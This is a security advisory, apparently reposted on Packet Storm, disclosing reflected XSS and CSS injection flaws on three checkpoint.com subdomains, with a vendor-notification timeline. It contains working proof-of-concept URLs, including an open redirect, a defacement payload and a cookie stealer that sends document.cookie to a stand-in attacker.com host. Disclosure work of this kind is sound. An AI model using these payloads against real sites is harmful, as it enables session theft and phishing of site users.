exploit the possibilities

Checkpoint Cross Site Scripting

Checkpoint Cross Site Scripting
Posted Nov 11, 2015
Authored by Yann CAM

Multiple Checkpoint.com subdomains suffered from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 3d8534a6d4b42ba5da74ce62489c02ce

Checkpoint Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: Checkpoint.com sub-domains Reflected XSS (RXSS)
# Date: 12/11/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.checkpoint.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: checkpoint.com sub-domains
######################################################################

Checkpoint description :
======================================================================

Check Point Software Technologies Ltd. is an international leader / provider of software and combined hardware and software products for IT security,
including network security, endpoint security, data security and security management.
Check Point offers the following primary products: Network Security, Software Defined Protection, Public and private cloud security, data security,
threatcloud, endpoint security, mobile security, security management, etc.


Vulnerability description :
======================================================================
Many Cross-Site Scripting vulnerabilities are identified in CheckPoint sub-domains.
- A R-XSS is available in the careers.checkpoint.com.
- A CSS injection is available in the supportcenter.checkpoint.com.
- A R-XSS limited is available in the threatwiki.checkpoint.com.

Through these vulnerabilities, an attacker could tamper with page rendering, redirect victims to fake CheckPoint portals, or capture CheckPoint's users credentials such cookies.
These injections are not properly sanitized before being used in pages.


Proof of Concept 1 - careers.checkpoint.com - RXSS :
======================================================================

A non-persistent XSS (RXSS) in "country_code" GET param is available in the careers.checkpoint.com sub-domain.
Tested on Firefox 41.

PoC:

https://careers.checkpoint.com/careers/index.php?m=joborders&a=show&jobOrderID=1337&country_code=US"><script>alert(/RXSS - Yann CAM | Security Consultant @ASafety - www.synetis.com/);</script><a href="


Proof of Concept 2 - supportcenter.checkpoint.com - CSS injection :
======================================================================

A CSS injection in "tab" GET param is available in the supportcenter.checkpoint.com sub-domain.
Tested on Firefox 41, Chrome 43, IE 11.

PoC:

https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doSwichtab=&js_peid=P-114a7ba5fd7-10001&tab=Documentation%20style=background:url(https://www.asafety.fr/images/logo.png)

The injection is used to define arbitrary attributes on an input tag type "hidden":
<input type="hidden" id="currentTab" value="[INJECTION]" />

It is possible to define the "style" attribute to load the CSS on the fly and possibly make XSS based browsers and their versions
(-moz-binding, expression(), background-image: url(javascript:) ) ...


Proof of Concept 3 - threatwiki.checkpoint.com - RXSS (limited) :
======================================================================

A limited R-XSS is available in the threatwiki.checkpoint.com sub-domain. Tested on Firefox 41.
Injection is located in the first string argument of a JavaScript function.
"<", ">", "(", ")" and "," are filtered, so it seems not possible to escape the function call.

The main injection vector is :

https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=1337[INJECTION_HERE]

Injection is interpreted in JavaScript in this function call :

com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=1337[INJECTION_HERE]&filter=0&parentPage=public", "main", 12500000);

With filtered chars listed before, it's not possible to :
- Comment the function without generate JavaScript error
- Escape from the function call
- Rewrite second or third function call attributes

The main idea to exploit this injection is to use conditional ternary form concatenated with the first function call argument, like this (RXSS PoC for OpenRedirect vulnerability) :

https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B 1==2 ? 0 : location="http://asafety.fr/" %2B "

Function call generated :

com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://asafety.fr/" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);

Another example to exploit this injection - cookie stealer :

https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : location="http://www.attacker.com/cook.php?x="%2Bdocument.cookie%2B"UNUSED_AFTER_THIS%23

Function call generated :

com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://www.attacker.com/cook.php?x="+document.cookie + "UNUSED_AFTER_THIS&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);

Regenerate the DOM (fake defacement) :

https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------"%2B"

Function call generated :

com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);


So even if JavaScript injection is possible in the first function call argument (to perform an OpenRedirect or steal cookie), the RXSS is limited. It's not possible to load an arbitrary JS file or create an alert().


Screenshots :
======================================================================

- http://www.asafety.fr/data/20150209-Checkpoint_careers_RXSS_002.png
- http://www.asafety.fr/data/20150209-Checkpoint_supportcenter_CSSinjection_001.png
- http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_001-loading.png
- http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_002-loaded.png
- http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_003.png


Solution:
======================================================================

Fix by CheckPoint Security team.


Additional resources :
======================================================================

- http://www.checkpoint.com/
- https://www.asafety.fr/vuln-exploit-poc/checkpoint-rxss-et-injection-en-parametre-de-fonction-js/
- http://www.asafety.fr/
- http://www.synetis.com


Report timeline :
======================================================================

2015-02-11 : CheckPoint Technical Team alerted with details and PoC.
2015-03-31 : Vulnerabilities aren't fixed yet. 2nd email to get a status.
2015-09-20 : RXSS vulnerability seems to be fixed.
2015-09-20 : CSS injection vulnerability seems to be fixed.
2015-11-09 : No feedback from CheckPoint.
2015-11-10 : Public advisory and article


Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    26 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    2 Files
  • 9
    May 9th
    2 Files
  • 10
    May 10th
    13 Files
  • 11
    May 11th
    17 Files
  • 12
    May 12th
    22 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    9 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close